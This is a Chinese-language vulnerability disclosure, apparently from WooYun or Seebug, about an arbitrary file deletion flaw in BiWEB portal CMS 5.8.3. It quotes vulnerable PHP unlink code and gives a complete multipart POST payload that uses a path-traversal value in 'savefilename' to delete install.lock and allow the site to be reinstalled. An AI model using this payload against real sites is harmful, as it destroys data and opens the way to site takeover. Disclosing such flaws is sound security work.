### 简要描述: BiWEB最新门户版任意文件删除漏洞 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。发现BiWEB有多处搜索,都存在注入漏洞。 在用户修改资料,上传执照图片时,使用unlink()删除原来的文件,而删除的文件是用户可控的,而且没有过滤./和.\等目录跳转符号,也没有限制访问的目录,造成任意文件删除。 该CMS中有多处这种漏洞,如:这里就选上传执照图片(/user/adminu/licence.php)作简要分析。 下面是分析过程及删除证明。 BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,上传执照图片/user/adminu/licence.php(测试时记得要先注册一个用户并登录哟)。 ``` 无关代码 if ($_SERVER["REQUEST_METHOD"] == "POST"){ //图片上传 if ($_FILES['Filedata']['name'] != "") { $strOldFile = $arrGPic['FileSavePath'].'s/'.$_POST['savefilename']; if (is_file($strOldFile)) {// 缩略图删除 unlink($strOldFile); } $strOldFile =...
### 简要描述: BiWEB最新门户版任意文件删除漏洞 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。发现BiWEB有多处搜索,都存在注入漏洞。 在用户修改资料,上传执照图片时,使用unlink()删除原来的文件,而删除的文件是用户可控的,而且没有过滤./和.\等目录跳转符号,也没有限制访问的目录,造成任意文件删除。 该CMS中有多处这种漏洞,如:这里就选上传执照图片(/user/adminu/licence.php)作简要分析。 下面是分析过程及删除证明。 BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,上传执照图片/user/adminu/licence.php(测试时记得要先注册一个用户并登录哟)。 ``` 无关代码 if ($_SERVER["REQUEST_METHOD"] == "POST"){ //图片上传 if ($_FILES['Filedata']['name'] != "") { $strOldFile = $arrGPic['FileSavePath'].'s/'.$_POST['savefilename']; if (is_file($strOldFile)) {// 缩略图删除 unlink($strOldFile); } $strOldFile = $arrGPic['FileSavePath'].'b/'.$_POST['savefilename']; if (is_file($strOldFile)) {// 原文件删除 unlink($strOldFile); } $_POST['photo1'] = $objWebInit->uploadInfoImage($_FILES['Filedata'],'',$_POST['FileListPicSize'],$_POST['csize0'],$arrInfo['user_id']); }else{ $_POST['photo1'] = $_POST['savefilename']; } // 取会员信息 $arrInfo['photo1'] = $_POST['photo1']; //修改状态表明正在申请验证,必须设定为字符串形式 $arrInfo['pass'] = '0'; if (!empty($arrInfo)) { $objWebInit->saveInfo($arrInfo,1); echo "<script>" . check::WindowLocation('/user/adminu/licence.php')."</script>"; exit(); } } 无关代码 ``` 看到了unlink($strOldFile);而$strOldFile = $arrGPic['FileSavePath'].'b/'.$_POST['savefilename'];,$_POST['savefilename']又是用户可控的,问题就来了,这里没有对$_POST进行过滤,也没有限制目录的访问,所以,漏洞就出现了。 $arrGPic['FileSavePath'] = __WEB_ROOT."/uploadfile/".$arrGWeb['module_id']."/";,而此处的module_id为user,所以,这里的路径为/uploadfile/user/b/savefilename。 如果这样构造filename为../../../data/install.lock,那install.lock就被删除了,也就可以重装了。 如果直接访问xxx/user/adminu/licence.php时,cms会提示没有licence.php所使用的模板,所以,在测试时就不访问这个页面了,直接通过burp提交伪造的POST请求就可以了。 Payload: ``` POST /user/adminu/licence.php HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/user/adminu/licence.php Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: multipart/form-data; boundary=---------------------------7de142131b076c Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 523 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=1; PHPSESSID=r2udlmh0jnbk5g00jjvnk3jpd5 -----------------------------7de142131b076c Content-Disposition: form-data; name="Filedata"; filename="C:\Users\xy.jpg" Content-Type: image/gif GIF89aF -----------------------------7de142131b076c Content-Disposition: form-data; name="okgo" abc -----------------------------7de142131b076c Content-Disposition: form-data; name="savefilename" ../../../data/install.lock -----------------------------7de142131b076c Content-Disposition: form-data; name="id" -----------------------------7de142131b076c-- ``` 删除install.lock前,是不能重装的 [<img src="https://images.seebug.org/upload/201411/16002916e6dae20c9fe759c66d2efe4f7438d7af.jpg" alt="可安装.JP不G.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16002916e6dae20c9fe759c66d2efe4f7438d7af.jpg) 执行成功以后,我们访问http://XXXX/install/index.php,可以重装了 [<img src="https://images.seebug.org/upload/201411/16002929f43d2b88645ad14a1b0f294500ed6116.jpg" alt="可安装.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/16002929f43d2b88645ad14a1b0f294500ed6116.jpg) ### 漏洞证明: 见 详细说明